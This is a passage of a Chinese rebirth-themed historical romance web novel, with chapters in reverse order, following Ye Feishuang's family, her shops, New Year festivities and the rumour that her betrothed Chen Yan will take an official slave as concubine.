康氏心下一酸,搂着她嚎啕大哭。 哭过之后继续和靳氏抱怨:“我哪里对不起他?他生意做得大,家里的事不都是我打点的?他在外辛苦,我在家里就轻省了?我劳心劳力,他便嫌我又老又丑,一房一房地抬人……” “那么些人,有几个省心的?全都眼巴巴地盯着我这位置呢。秋扇那个小蹄子,仗着自己新得了个儿子,神气得不行,事事都要压我一头。” 康氏哭得厉害,靳氏听着听着也跟着一块儿哭。 有些话靳氏不乐意污叶绯霜的耳朵,打发她出去玩。 过了初十了,街上的铺子们早就开门了,叶绯霜准备去自己的铺子里看看。 在大门口撞见了杜知府,身后还跟着邱捷。 看着二人手里提着的礼物,她问:“二位大人来拜访我三伯吗?” 两人颔首:“是。” 叶绯霜侧身做了一个“请”的手势。 邱捷路过的时候低声说:“多谢五姑娘的年礼。” “邱举人客气了。” 邱捷朝她温和地笑了笑。 他知道书院学子中毒案中,要不是这位郑五姑娘信他,哪怕他最后能洗刷冤屈,也不会一点苦头都不吃。 更何况她还救出了母亲,事后还建议自己结交杜知府。如她所料,杜知府真的和他意气相投。 他得了官职,虽然只是个不入流的典史,但已经有俸禄了。 年前还让人给他送了年礼,都是些不贵重但是特别实用的物件、吃食。 邱捷平日里在书院尽被那些高门子弟欺负,看惯了冷眼,叶绯霜给他的一点点温暖很让他感动。 在味馨坊和素锦巡视完,叶绯霜又遇到了来找他的萧序。 “阿姐,我给你当侍卫吧。”萧序兴奋地说,“这样我就可以一直陪着你了。” 当然被叶绯霜拒绝了。 且不说她现在没有名正言顺的理由养侍卫,就算有,也雇不起萧序这样的。 萧序又蔫儿了。 叶绯霜铁了心不接受他的提议,装可怜也没用。 回府后,三伯母卢氏的人请她过去。 平时有什么事卢氏就直接派人告诉她了,很少会叫她去三房当面说。 难道发生了什么大事? 的确是大事,卢氏一开口叶绯霜就震惊了:“陈三郎快不成了。” 叶绯霜:“?” 不成了?是她理解的那个意思吗? “听说年前就病了,这些日子一直不好,越来越厉害了。咱们家和陈家有婚约,总该派人去看看。我和你三伯父合计了一下,你也去。要是……就当见最后一面了,毕竟你们也认识。” 叶绯霜震惊:“他什么病?” “受了家法才病了的。”卢氏叹了口气,“陈家这……唉,家法不就是训导子孙的吗?小惩大戒,怎么还真把人往死里打呢?” “为何受家法?” 卢氏摆摆手:“这你就别问了。” 叶绯霜恍然:“是因为他和人当街抢姑娘那事吧?” 卢氏:“唉,我不想说是怕你难受。你别往心里去,那是个官奴婢,哪怕进门也是当妾的,比不过你去。陈三郎这次……哪怕他挺过去了,你也有个心理准备,他这样的,以后身边不会只有你一个正室。” 既然说了,那就索性说明白。 卢氏把叶绯霜拽到身边,低声道:“你这次去看着点,要是他能好,你就旁敲侧击地和他说,你不介意他房里的人,但他不能和旁人在你过门前把孩子生出来,第一个孩子必须你来生。” 叶绯霜:“………………” 虽然前世已经给陈宴当了十来年外室,但现在听见这席话,她还是目瞪口呆。 她知道三伯母是为了她好,这番话也是真的在为她打算。 但听起来,就是比“陈宴快死了”还要炸裂。 第112章 她是神 小桃不知道她家姑娘心怎么就这么大。 陈三郎都要纳妾了,姑娘竟然还欢天喜地搁这儿玩呢? 算了算了,她急也没用。 小桃也戴上面具,玩去了。 人太多,叶绯霜和小桃很快就被冲散了。 不过她们已经约好了,玩够了就各自回府。 驱傩大队里的人都戴着面具。 戴鬼怪面具的人扮演妖祟,谁都可以象征性地打两下,得一个除祟的好兆头。 走着走着,叶绯霜发现不远处一个地方特别热闹,也凑过去看了看。 走近了,才见一个戴着财神面具的人坐在房顶上,正往下边撒钱呢。 有铜板,还有银锞子和碎金子。 大家伙一边嚷嚷着“财神爷显灵了”,一边疯狂捡钱。 本来就热闹的气氛更加红火了。 叶绯霜眼前一闪,下意识抬手一抓—— 竟是一个比她手掌还大的金元宝。 察觉到身后有人,她一转身,发现竟是那屋顶的财神爷。 叶绯霜举了举金元宝:“给我的?” 财神爷连连点头。 财神爷的面具笑眯眯的,特别喜庆。 叶绯霜眨了眨眼:“你是……” 财神爷绕着她转了两圈:“你猜。” 这声音刻意压低了许多,但叶绯霜还是听了出来。 “萧序。” 财神爷把面具掀开,果然是那张风华绝代的脸。 “阿姐!” 大半年不见,他长开了一点,更好看了。 萧序黑润润的眼睛一眨不眨地望着她,小声问:“阿姐,这段时间我没来找你,你不会生我的气吧?” “当然不会。” “我早就想来的,但是……”他顿了一下,又开开心心地说,“阿姐,这次我不会走了,我要一直陪着你!” 离得近,叶绯霜闻到他身上有一股淡淡的药香。 第一次在船上见他时,就有这个味道,现在好像更加浓郁了一点。 “你生病了吗?”叶绯霜问。 “现在已经好啦!”萧序不怎么在意自己身体的样子,“阿姐,今晚是除夕,你可以再为我做一碗面吃吗?” 前边就是清平坊,素锦离这里不远。 “以前,你阿姐会为你做面吃吗?” “嗯嗯!” 叶绯霜带着他往清平坊走:“可以呀,什么面?” “清汤面。” 叶绯霜有些狐疑地看了他一眼。 第一次见面她就断定,这人绝对是富养出来的。 那他阿姐也该是富家千金啊。 两人怎么会在除夕夜吃清汤面呢? 见她看自己,萧序朝她笑得光彩夺目。 哦,对,叶绯霜想起来了,他在他阿姐死后就神智不正常了。 把山珍海味记成清汤面了? 素锦里还有几个打杂的人在,叶绯霜没让他们忙,自己去厨房拿白菜和鸡蛋给萧序煮了一碗面。 叶绯霜晚上吃得很饱,就不加餐了,坐在他对面看着他吃。 萧序吃面不是吸溜着吃,而是夹住面条,一圈一圈地转筷子,把面条缠到筷子上之后放进嘴巴里。 叶绯霜笑起来:“我吃面也是这样吃。” 萧序说:“就是阿姐你教我这样吃的呀。” 叶绯霜逗他:“那我还教了你什么?” “走路,吃饭,读书,写字,练武,花钱。” 叶绯霜懂了。 合着这人是他阿姐带大的。 姐弟两人相依为命,感情肯定深厚,难怪他阿姐一死,他就精神错乱了。 “你多大了?”叶绯霜问。 “过了今晚十六。” 他阿姐能教他那么多,应该比他大一些……如果活着的话,二十左右? 反正不会大很多,毕竟还是陈宴的心上人。 “你阿姐应该很优秀吧。” “我阿姐特别厉害!”萧序双眼放光,满脸的与有荣焉,“世间没有比她更厉害的人了!优秀不足以形容她,她就是……” 萧序想了半天,想出一个炸裂的字眼:“神!” ……这么厉害是怎么被陈宴杀了的? 这话有点扎心,叶绯霜不好问。 她觉得应该是萧序记忆的美化。 他和他阿姐的感情本来就深,对方一死,最先忘记的就是对方的缺点。 然后在日夜不休的思念中,愈发觉得那个人好,就有些神化对方了。 叶绯霜觉得,要是和自己多接触接触,萧序很快就能认清现实——自己根本不是他阿姐。 毕竟自己只是个普通人,可不是神。 萧序吃完面,还想跟着叶绯霜回郑府。 被叶绯霜义正言辞地给拒绝了。 带个外男回家,她真是别想活了。 府里各院都燃着大火堆,还在噼里啪啦地放爆竹。 叶绯霜没守岁,回房睡觉,毕竟第二天还要早起。 第二天是元日,起来换了桃符,给爹娘拜了年,一行人一起去鼎福居。 郑老太太瘫了,所以众人就在院中给她磕头拜年,不必进房间去看她不体面的样子。 家宴她自然也不会参加,所以坐主位的是时任工部侍郎的三老爷。 三老爷名唤郑尧,身材不算高大,很精瘦,但常年浸淫官场自带一种威仪气度,让人不能小觑。 和他形成鲜明对比的是五老爷郑丰。 郑丰人如其名,不光在生意和小妾上收获颇丰,在体态上也是。 膀大腰圆,油光满面,笑呵呵的,感觉褂子一解就能立刻扮演弥勒佛。 看来只要吃得好,哪怕常年奔波在外,人也不会消瘦。 叶绯霜打量别人的时候,也注意到了有人在打量自己。 一抬眼,和她四姐姐郑茜霞对上了。 她朝郑茜霞抿唇一笑,郑茜霞也回笑了一下,不过她的笑看起来有点怪。 对于郑茜霞,叶绯霜的印象还挺深的。 她是五房的庶女,一个姨娘生的。 五老爷姨娘太多了,没有特别受宠的,连带着庶子庶女们存在感也不强。 前世,郑茜霞给郑茜媛做跟班,虽然她比郑茜媛大。 郑茜媛经常命令郑茜霞来欺负叶绯霜。 一开始,郑茜霞脸上还有歉意与愧疚。 后来,就没了,变成了兴奋和恶毒。 她开始主动帮郑茜媛出谋划策,怎么虐待叶绯霜。 有一次,她不知道从哪儿听说了“猫刑”,鼓动郑茜媛在叶绯霜身上试。 叶绯霜当时吓得跑了,她们在后边追她。 她撞上了陈宴,陈宴问她发生了什么,她哭哭啼啼地说她们要给她用猫刑。 郑茜霞和郑茜媛当然不会承认。 陈宴警告了她们,她们没敢再打这个主意。 叶绯霜当时是真的被吓坏了,哭得厉害。 陈宴说,她们只是在吓唬她,不敢真的给她用猫刑。 她说她们敢,她们总是欺负她,什么法子都敢用。 陈宴摸了摸她的头,说:“等你嫁给我,就不会有人欺负你了。” 叶绯霜说:“我一直盼着呢,可日子过得好慢。” 陈宴当时摸了摸她的头,笑了,笑得特别好看。 后来,陈宴告诉她,她离开郑府后,郑茜霞就成为了新的被欺负的对象。 没多久,郑茜霞就死了。 听说郑茜媛她们用她试了那个猫刑,她没能从那个麻袋里活着出来。 第111章 攀住他 陈宴在陈家老宅的院子,叫“客居”。 所有初次听到这个名字的人都很疑惑。 这是陈家啊,三公子是这里的主人啊,怎么能叫“客”呢? 他们三公子解释说,世人往来皆是客,他亦是这繁华红尘的匆匆一过客。 客居的前院种了数亩白梅。 腊月二十这天,落了雪。 陈宴还记得去岁今日,也落了雪。 他踏入落梅小筑,恍惚一瞬,看见了红梅树下的红裙姑娘。 那姑娘纤瘦、羸弱,容色衰败,仿佛在迅速凋零。 陈宴回到桌边,想把那个病容憔悴的姑娘画下来。 可是脑中云雾缭绕,明明有个影像,却怎么都凝不成形,不知道该如何下笔。 最后落笔,写了“前世债”三个字。 陈宴是个非常讲究逻辑的人。 在没有确凿证据的情况下,他不会轻易推翻自己的论断。 他依然对“前世”持保留态度。 她不愿承认,他便自己悟。 如果前世真的存在—— 那叶绯霜这般疏远自己,死活不想嫁自己,很大可能是因为前世的自己和她产生了较大的矛盾。 陈宴对自己还算了解,虽然不敢自称为君子,但起码不是小人。 他不会做出违背人伦道义的事情。 如果前世他和叶绯霜退了婚,那之后就不会有交集,也不会产生纠葛。 所以,前世他们的婚约一直都在。 他是个守约之人,既然接受了婚约,就一定会履行。 他一定娶了她。 那么矛盾就发生在婚后。 妻子,八抬大轿,明媒正娶。 哪怕不爱,也得敬。 他一定会尊敬他的妻子,给她世家妇该有的体面和尊重。 这世上,绝大多数夫妻间的矛盾有两个来源—— 一是贫贱。 二是偏房。 陈宴划掉了“贫贱”,盯着“偏房”看了半天,俊挺的眉头越皱越紧。 “不会吧?”他喃喃,“难道我纳傅湘语为妾了?” 如果只是纳了妾,不至于被她骂“狗男女”。 难道他宠妾灭妻了?! 陈宴被这个假设震惊了。 但又觉得,他的人品、陈氏的家风在那儿,他不至于犯这种混。 院中传来脚步声,陈宴把纸丢进了火盆里。 情况最坏就是宠妾灭妻了,让他的妾侵占了她身为妻子的权力,所以她失望伤心,不想嫁他了。 绝对不会有更过分的行为了。 陈宴觉得其实还是可以弥补的。 大不了这一世他不纳妾就是了。 不对,什么叫“大不了”?他本来就没想过纳妾。 时至今日,他一个通房都没收过。 有个族弟和他同岁,庶长子都两岁了。 不是,他怎么能纳傅湘语为妾呢? 他又不喜欢她。 他连她长什么样都没仔细看过! 陈宴捏了捏眉心,感觉自己非常的不可理喻。 锦风在外头轻轻敲门:“公子,赵姑娘求见。” “她有什么事尽管去找我母亲。” 冷冰冰的一句话,锦风瞬间知道自家公子心情不佳。 他声音放低了:“赵姑娘说又梦到了被抄家的情形,梦中鬼怪横行,她惊着了,怕得厉害,所以想见公子。” 少顷,房门开了。 他家公子面无表情地站在门口。 “公子,您去……” 陈宴递过来一张纸。 锦风打开一看,是一张钟馗画像。 “拿去贴上。” 房门“砰”的一声又关上了。 锦风摸摸鼻子:“这……管用吗?” 他家公子没有感情的声音隔着门缝传来:“见我就管用了?” 锦风灰溜溜地去了。 窗外的雪更大了。 下人们在白梅树上挂红布条、红灯笼、祈福带等等,远远望去,红色点点,很像落梅小筑后边那片红梅林。 过了几天,陈宴再次去了静心堂。 陈文益先说:“晟王府七郎已经无碍,你下手有点狠了。” “他不放人。” “这事到底是我让你去办的,不怪你。若不是你,也没人能从那混世魔王手里把人弄出来。那七郎是个混不吝,我岂能让人落他手里?” 陈文益叹了口气:“我与赵老毕竟是旧识,他家落了难,男丁是救不了了,只能救个女娘了。” 陈宴:“祖父大义。” 陈文益笑了一下:“说起来,这赵三娘和你还是旧识呢,你小时候还从河里捞过她,可记得?” “完全不记得。” 自小,他就见过掉河里、从树上摔下来、从台阶上滚下来、从马上栽下来的各种姑娘……他都数不清自己救过多少个。 陈文益轻哼一声,瞬间变了脸:“重阳过后,你又在荥阳?” “是。” “见了郑氏女?” “是。” 陈氏家规:屡教不改者,殛罚倍之。 于是陈宴挨了十二鞭。 他认了错,但没说会改。 意思就是,但凭处罚,下次还敢。 在静心堂面了两天壁,陈宴自己走回了客居。 刚迈过门槛,就倒在锦风身上,不省人事了。 很快,整个陈府都知道,三公子病了。 很严重,昏迷不醒,高热不退,还吐血。 赵芳菲也听说了。 她的丫鬟新雨立刻说:“姑娘,你赶紧去看看陈三郎啊!” 赵芳菲失落地说:“自打我来了陈家,他一次都没见我。” “他得避嫌啊,这是为了姑娘的清誉着想!陈三郎对姑娘有意,此时趁着他生病去探望,名正言顺。” 赵芳菲纤长的睫羽眨了眨,有些不确定:“他真对我有意?” 新雨说:“不然他为何要赶赴博陵,把姑娘带回来?还把奴婢一起捞了出来,不就是怕姑娘日后孤苦无依,好和您做个伴儿吗?他为您还不惜和晟王七公子起了冲突,三郎对姑娘之心,日月可鉴。” 赵芳菲捏紧帕子:“那我去看看他。” 到了客居,下人们说公子醒了,夫人在里边。 赵芳菲不敢进去了,说自己在外边等一等。 她隐隐约约听见了屋内传来的说话声。 陈夫人在哭,埋怨道:“就为了一个小姑娘,你就愿意受这么重家法?” 陈宴的声音又哑又轻:“是儿不对。” 赵芳菲愣住。 陈三郎是因为受了家法才生病的?而受家法是因为她? 是了,他为了她和晟王七公子当街动手,陈家人不可能不知道。 陈夫人恨铁不成钢:“你就不能听我和你祖父的话?” 陈宴咳了两声:“儿想娶她。” 赵芳菲捂住嘴,身子晃了晃,差点没站稳。 ……娶她? 她已经是个官奴婢了,给人做妾已经是最好的下场了,陈三郎竟然想娶她? 陈夫人又气又心疼:“你怎么就认定她了呢?” “儿对她不住,得弥补。” 前世的债,这一世得还。 赵芳菲的眼泪大颗大颗掉了下来。 幼时那场意外,怪她。是她太贪玩,非要大冬天在河上溜冰,才掉了下去。 还是路过的陈三郎把她救起来的,否则她命都没了。 她冻坏了,大病一场,还落下了病根,每到冬天就要咳。 陈三郎已经救了她的命了,没想到他却认为自己做得不够好,没有及时把她救起来,以至她落了病根。 他竟一直把这件事记在了心里,觉得对不起她,还说要弥补她。 寒风凛冽,赵芳菲心里有那么一块是暖的。 家没了,但她以后还有依靠。 她遇到了一个这么好的郎君。 她会好好攀住他的。 虽然她只能做妾,但他有娶她做妻这份心,就够了。 第110章 争姑娘 宁衡大惊失色。 父王母妃的确早就说过,年后要张罗着为他选世子妃了,但没说能选师父啊! 师父是用来孝敬的,哪能娶呢? 他不能再欺师灭祖了啊! 宁衡正准备表态,却听他师父道:“谢谢王妃的抬爱,我和世子不合适呢。” 璐王妃:“唉,就知道你看不上这个笨蛋。” 宁衡挠头:“……其实也没有很笨吧?从小到大嬷嬷们都夸我聪明啊。” 不远处有一条河,叫南山涧,接着荥阳城的护城河。 冬日,河水结了冰。 叶绯霜挑了处位置,把河面凿开一个洞,捞鱼。 璐王妃和宁衡也兴致勃勃地参与。 最后璐王妃捞了一条,叶绯霜捞了四条。 宁衡一条没捞到,还把冰面压塌掉了进去。 璐王妃扶额叹息:“你说说,你还不笨么?” 宁衡悻悻不敢反驳了。 冬天的河鱼很鲜美,叶绯霜把其中两条烤了给郑茜静吃,剩的两条给爹娘煲了汤。 转眼到了除夕这天。 按照大昭的传统,除夕晚上,百姓们会上街驱傩。 也就是大家戴着面具唱歌跳舞、舞龙舞狮,进行一些比较热闹的活动,营造出欢乐喜庆的氛围。 郑茜静感觉自己身体最近不错,嚷嚷着要参加驱傩仪式,她还没看过呢。 叶绯霜陪她上了街,带着月影和小桃。 街上的人摩肩接踵。 孩子们乱跑,到处都是爹娘们的吆喝声。 什么二臭、大锤、铁根儿、狗丫…… 小桃又想到了姑娘给自己取的“铁宝”。 她问:“姑娘,你有没有小字?以前养你的老爷怎么叫你?” “就叫我霜儿。” 不过,前世的陈宴倒是给她取过个小字——霏霏。 她本以为是“绯绯”,陈宴说是“今我来思,雨雪霏霏”的霏霏。 她不理解明明是一样的读音,为什么要选不同的字。 陈宴说:“我叫你的时候,旁人都以为是绯绯,但我叫的是霏霏。这是只有我和你知道的秘密。” 叶绯霜还是有点懵,她没文化,理解不了读书人的深意。 但既然陈宴说是霏霏,那她就叫霏霏。 天还没黑,四人先去了万福居吃饭。 作为荥阳最大的酒楼,万福居今晚宾客盈满,雅间都没了。 她们在角落找了张桌子坐下。 “明日的家宴,四叔和四婶能参加吗?”郑茜静问。 “能。”叶绯霜点头,“我爹身体好了不少,可以出席了。” 郑茜静笑弯了眼:“太好了,那可就热闹了。三叔回来了,五叔一家子也回来了,什么时候我爹和七叔也回来,一大家子就圆满了。” 叶绯霜想起她五叔那妻妾成群的一大家子,不由得啧嘴:“五房的人可真多。” 郑茜静:“五叔就这毛病。” 她们这位五叔文不成武不就,但有个经商的好脑子。 常年奔波在外,银子流水一样地赚,小妾也流水一样地收。 小桃低声说:“我听说五老爷新收的十六姨娘好像……和我们姑娘同岁?” 娶妻要等人姑娘及笄。 纳妾就没那么多讲究了,看上就收。 有些老爷就好幼齿,专收些小丫头,真是一树梨花压海棠。 郑茜静起了一层鸡皮疙瘩,搓搓肩膀:“五叔真是,唉……” 她们做晚辈的不能说长辈,但表达不满还是可以的。 郑茜静一直都不待见她这个花花五叔。 叶绯霜忽然想起,前世陈宴修律的时候,其中一条就是,将“奸幼女罪”的幼女年龄从十岁升到了十三岁,处罚也从流放上升到了绞刑。 更多的小姑娘得到了保护。 这一世,春闱取消,陈宴出仕的时间推迟了,那新律问世的时间肯定也要推迟了。 忽然,旁边那张桌子的一个男人神神秘秘地说:“哎,你们听说那‘两凤争凰’的故事没?” “啥故事?赶紧讲讲。” “难道是哪两家的郎君抢姑娘了?” 一开始说话那人一拍桌子:“哎,对了!这其中一个是晟王府的七公子,另外一个是颍川陈氏的三公子。” 四个小姑娘齐齐看向了说话那人。 “就前几天,博陵的一个地方官犯了事,被抄了家,女眷没为官奴婢。晟王七公子看上了那家的一个小女娘,把人捞了出来想带回晟王府,却被陈三郎当街把人抢了。” “诶,我上个月还远远见过陈三郎呢,看着可有仙气的一个人,不像好女色的啊。” “嗐,他们那些世家公子哪个不是人模人样的?背地里玩什么你知道?我还听说啊,那小女娘和陈三郎是打小的交情,所以陈三郎才赶去博陵英雄救美,据说差点用剑抹了晟王七公子的脖子!” “感情那小女娘是陈三郎的心上人?” “不然呢?” “那小女娘莫不是个天仙?” 一开始说话那人喝了口酒,点头:“说是博陵第一美人,倾国倾城!” “嚯!那和陈三郎才子佳人啊!” “哎不对啊,陈三郎不是和咱们荥阳郑家的姑娘有婚约吗?” “有婚约也不妨碍纳妾啊。那小女娘都是个官奴婢了,只能给人当妾了啊。” “陈三郎还真是有情有义。” 除了叶绯霜,其它三个人听得是目瞪口呆。 小桃的脸鼓得像是河豚:“陈公子怎么能这样呢?” 郑茜静:“这中间肯定有隐情。” 月影:“陈三郎不是这种人。” 叶绯霜看着这三双眼睛:“你们看我干嘛?吃饭呀。” 小桃:“姑娘你还有心情吃饭?陈三郎都要纳妾了!” “他纳妾我就不吃饭了?”叶绯霜乐了,“那他要是像五叔那样纳几十个,我不得饿死了?” 小桃知道,男人们,尤其是高门大户的男人,哪个不是三妻四妾的? 很多郎君十三四岁时,家里就给安排通房丫鬟了。 有的正妻过门时,庶子庶女都好大了。 但她就是觉得,陈三郎不该是这样的人。 她家姑娘还没嫁过去呢,他怎么能先纳妾? 那他以后会不会宠妾灭妻? 小桃有点幻灭了。 陈三郎明明和他家姑娘很好的啊。 他怎么能为了旁的女娘,这样呢…… 郑茜静说:“回头我让人去打听一下。” 不用打听叶绯霜也知道那位姑娘是谁。 如果她没记错的话,对方应该叫,赵芳菲。 前世,她知道那是位家里犯了事的姑娘,被陈家捞出来后,就一直借居在陈家。 但是她不知道,竟是陈宴当街抢回去的。 第109章 抢媳妇 腊月初十是个黄道吉日,宜乔迁。 于是叶绯霜和爹娘在这天,搬到了四房的主院里。 郑涟和靳氏当年就是从这院子里迁出去的。现在回来,都认不出这院子了。 因为秦氏住进来后,把这里整个重装了一遍,弄得和仙宫似的。 名字也改了,叫玉琅阁。 从这名字就能看出这院子是多么的富丽堂皇。 一群落梅小筑的下人看着雕梁画栋的玉琅阁,嘴巴都合不上了。 “姑娘,这院子得有十个落梅小筑大吧?”小桃眼睛都看不过来了。 几间上房都重新布置了,把秦氏母子以前用的物件都收拾了,换上了新的。 房间里地龙醺暖,香薰缭绕,没有丝毫冬天的潮湿阴寒。 叶绯霜和靳氏坐在窗下的炕上,一起理丝线。 郑涟半靠在床上,拿了本书在看。 小桃和几个小丫鬟在廊下烤火,炭盆里时不时传来栗子的爆裂声。 有小厮在院子里堆了个大雪人,抢了两个熟栗子当眼睛,被小桃追得满院跑。 在纷纷扬扬大雪中,新年的气氛越来越浓。 郑府逐渐热闹起来。 不光一直在外行商的五老爷一大家子回来了,就连三老爷郑侍郎也快回来了,看望中风瘫了的老母亲。 叶绯霜也很忙,各个铺子、庄子的年账送过来了。 平时她看看味馨坊和素锦的账本还行,一下子来了这么多,她脑子瞬间就糊了。 幸好三伯母卢氏给她派来两个账房先生,叶绯霜才将将把这繁杂的账目给弄明白。 张庄村别院大管家石杨带着他的儿子们来送年礼。 一共有五车,三车是给郑府的,一车是单独给四房的,还有一车是张庄村的村民们凑给叶绯霜的。 叶绯霜让石杨把她早就准备好的粮食、布匹、菜肉、种子装了两车,带回张庄村分给大家。 这也是叶绯霜第一次见石杨的另外两个儿子,也就是铜宝和小桃的两个哥哥——金宝、银宝。 看着是两个憨厚朴实的汉子,没有铜宝机灵,面对叶绯霜时很紧张。 叶绯霜单独准备了一份年礼,让铜宝送到住在南山脚下的邱举人家里。 等他们走了,叶绯霜问小桃:“你三个哥哥分别叫金宝银宝铜宝,你以前叫什么宝?” 小桃挠了挠头,有些不好意思说。 叶绯霜微微瞪大眼:“你不会叫铁宝吧?” 小桃跺了跺脚:“姑娘讨厌!什么铁宝,难听死了!人家叫猪宝!” 叶绯霜:“……比铁宝好听吗?” 小桃红着脸鼓着嘴巴,扭头走了,也不知道是气的还是羞的。 不过叶绯霜一说带她上街玩,她就又好了。 叶绯霜先去了味馨坊。 味馨坊的年账也做出来了,利润比去年翻了一番,大家都很高兴。 “幸好现在不受那个翻五番的条件限制了。”绿蕊心有余悸,“否则咱们这铺子怕是要保不住了。” 在味馨坊做了快一年,绿蕊已经把这儿当自己家了。 当初秦氏倒台后,四房的下人们都被发卖了。 幸好五姑娘提前和三夫人打过招呼,没让她落到人牙子手里,还让她来味馨坊当二管事,做她最拿手的点心。 绿蕊想起当初四夫人让人打自己手心三百下,要不是那件事,她怎么能认识五姑娘,又怎么有如今的际遇呢? 真是福祸相依。 叶绯霜给了大家赏钱,又去了素锦。 素锦新开不久,目前还没回本。 叶绯霜不着急,钱嘛,慢慢赚。 周娘子现在就住在素锦后院里,她孤身一人,无夫无子,叶绯霜说她可以去味馨坊找绿蕊她们一起过年。 周娘子笑道:“正是呢,我已经和绿蕊姑娘她们说好了,一起守岁。” 叶绯霜又去看了桑彤姐弟。 自从有了宁衡的关照,二人就从醉红尘搬了出来,赁了个小院子住。 虽然还没放良,但已经在过正常人的生活了。 叶绯霜陪清溪玩了一会飞镖,对桑彤说她年后可以去四房的一家香料铺子做工。 叶绯霜最后去了璐王府。 璐王府什么都不缺,于是叶绯霜给璐王妃带了好几盒新做的点心。 宁衡一脸菜色,一看就挨骂了。 叶绯霜问怎么了,宁衡说他想去冬猎,但母妃不同意。 叶绯霜说:“你去年冬猎魇着了,把王妃吓坏了。” 宁衡还想起自己魇着的时候差点把叶绯霜掐死……顿时更悻悻了,不敢提了。 叶绯霜不忍看大徒弟这倒霉相,说:“要不咱俩去南山跑一圈马?” 宁衡眼睛瞬间就亮了。 一听跑马,璐王妃也来劲了:“我也去。” 宁衡惊了:“母妃,你会骑马?” 璐王妃白了他一眼。 等出了城上了官道,宁衡总算知道他母妃为何如此蔑视他了。 他是三个人中最菜的。 早知道叫上父王了,父王不如他,可以用来垫底。 叶绯霜也着实被璐王妃的骑术惊艳到了。 不是闺阁千金骑马踏青那种悠然的骑法,而是大开大合,纵马疾驰。 仿佛她所在的不是城外的官道,而是漠北辽阔的苍茫草原。 叶绯霜想起来了,璐王妃出身陇西李氏。 这个家族世代镇守西部边陲,和镇守北地的谢家一样,是武将世家。 虽是将门之后,但璐王妃这么多年竟从未骑过马?否则宁衡为何不知道? 下马后,璐王妃说:“我可不光会骑马。” 话音刚落,她挥拳打向叶绯霜:“看招!” 叶绯霜立刻反击。 宁衡目瞪口呆地看着二人从赤手空拳,到一人一根树枝。 他师父明显把树枝当枪使,他母妃……好像当的是刀? 过了一会儿,璐王妃率先败下阵来,摆摆手说:“不行了不行了。” 叶绯霜立刻扔了树枝,扶住她。 “王妃好厉害。” 虽然璐王妃招式有些生疏,但能看出来,是自小就练的童子功。 “多少年没练了,都忘得差不多了。”璐王妃很累,也很亢奋。 她感觉锈了许多年的骨头都活泛了。 宁衡奔过来:“母妃,我怎么不知道你会骑马,还会用刀?” 璐王妃轻哼一声:“你不知道的多了!” 叶绯霜想起陈宴说过的,璐王曾被先帝议储,给北地战场运送过粮草,还剿灭过一窝山匪。 但现在成了个神神道道的道士。 璐王妃骑术、刀法皆精湛。 现在成了个大门不出、只知道吃喝玩乐的贵妇。 他们是自愿如此,还是被迫的呢? 叶绯霜不得而知。 璐王妃忽然笑着说:“霜霜,我问你一个问题。” “您问。” “如果让你舍弃一身武艺以及以后再也不能骑马,以此来换取和陈三郎厮守终身的机会,你愿不愿意?” 叶绯霜毫不犹豫:“我不愿意!” 她回答得太快,璐王妃都震惊了。 她笑得咳了两声,说:“我愿意。所以,不必为我惋惜。” 叶绯霜说:“璐王殿下值得。” 璐王对璐王妃有多好,有目共睹。 他一生只此一妻,没有侧妃没有侍妾。对王妃既有宠爱,也有敬重,更有倾慕。 他没有辜负璐王妃为他做出的牺牲。 璐王妃眨了眨眼:“难道陈三郎不值得吗?” “不值得。”叶绯霜说,“这世上没有任何人值得我为他扔掉我手中的枪。” 璐王妃望着她的目光莹润生辉,既慈爱又喜欢。 她握着叶绯霜的手,无比诚挚地问:“霜霜,你不要嫁陈三郎了,你给我当儿媳妇吧,好不好?你想多自由,我们家就让你多自由。” 第108章 往高爬 高萱结结实实吓了一跳,一把推开了叶绯霜,自己也踉跄了好几步才将将站稳。 她一张俏脸红白交织,丝毫没有别人捞了自己一把的感激,反而觉得对方坏了自己的好事。 要不是这可恶的商户女多事,那位公子肯定会接住她的! 周娘子刚想告诉叶绯霜有人找她,就被高萱质问了:“你们这店里有没有雅间?” 周娘子:“?” 他们这是布店又不是酒楼,要什么雅间。 “有更衣室和茶室。”周娘子说,“姑娘是累了,想休息吗?” 高萱指着叶绯霜:“士农工商,等级分明,难道让我们这些官宦子女和这商户女共处一室吗?” 高萱可不觉得自己是在刁难人,她说的是事实。 她甚至还问了陈宴和卢季同:“二位公子气质出尘,想必也无法忍受商人身上那股子铜臭味吧?” 周娘子:“商户女?不是不是,姑娘您弄错了,这就是……” “把她给我赶出去!”高萱不耐烦地打断了周娘子的话,“否则你也不必在这里干了!” 上次在那个点心铺子里,这个商户女是怎么为难她的她可都记着呢! 这次非得把那口恶气出了。 周娘子彻底无语了,什么人啊这是,她都不想伺候了。 她脸上依然带着笑,但是已经不怎么热情了:“这位姑娘,我能不能在这里干,不是您说了算的,得我们东家说了算。” 高萱:“你们东家以后得听我的。” “我为什么要听你的?”叶绯霜问。 “当然因为我以后……”高萱忽然察觉出不对来,卡了壳,猛然看向叶绯霜,“你?谁说你了?” 不对。 高萱眼皮子忽然一跳,冒出一个诡异的念头来。 难道…… “这就是我们东家,郑五姑娘。”周娘子说出了高萱最不想接受的那个事实,“高姑娘,您不是一直想见我们姑娘吗?” 高萱目瞪口呆。 叶绯霜稍微一想就明白了。 小秦氏是没了,但高萱还惦记着给她爹当填房的事儿呢,所以转变策略了,想从自己这里下手了。 但这里又是外人又是男人的,叶绯霜也不想当众把她的小心思点穿,于是给了她个台阶:“高三姑娘,你是不是觉得上次点心不错,还想和我买?” 卢季同问:“你们认识?” 叶绯霜点头:“高三姑娘去过味馨坊,还是大客户。” 可不是大客户吗?摔了她那么多点心,赔了好大笔银子。 高萱心头又是一跳,想着完了。 这商户……这郑五姑娘肯定会添油加醋地把点心铺子里的事说出来,让她丢脸的! 可恶,明明是个商户女,怎么就成了郑五姑娘呢? 高萱咬紧嘴唇,想着该怎么反击。 叶绯霜看向高萱:“高三姑娘,我们去茶室说吧。” 她又吩咐周娘子:“把那匹山青色的竹枝纹京绸拿给表哥,给他裁新衣。” 高萱浑浑噩噩地跟着叶绯霜到了茶室。 叶绯霜给高萱倒了一杯菊花茶,直言道:“我爹已经将我娘扶正,郑府四房不缺夫人了。” 高萱的脸青红交加:“你知道我为什么找你?” 叶绯霜坦然说:“自从知道你是高同知府上的三姑娘后,我就知道你的想法了。” 气恼、尴尬、不甘诸多情绪堵在心头,哽得高萱难受死了。 她重重喘了好几息,声音有些嘶哑扭曲:“那你刚才在外边怎么不直接说出来?让我丢脸你不高兴吗?” 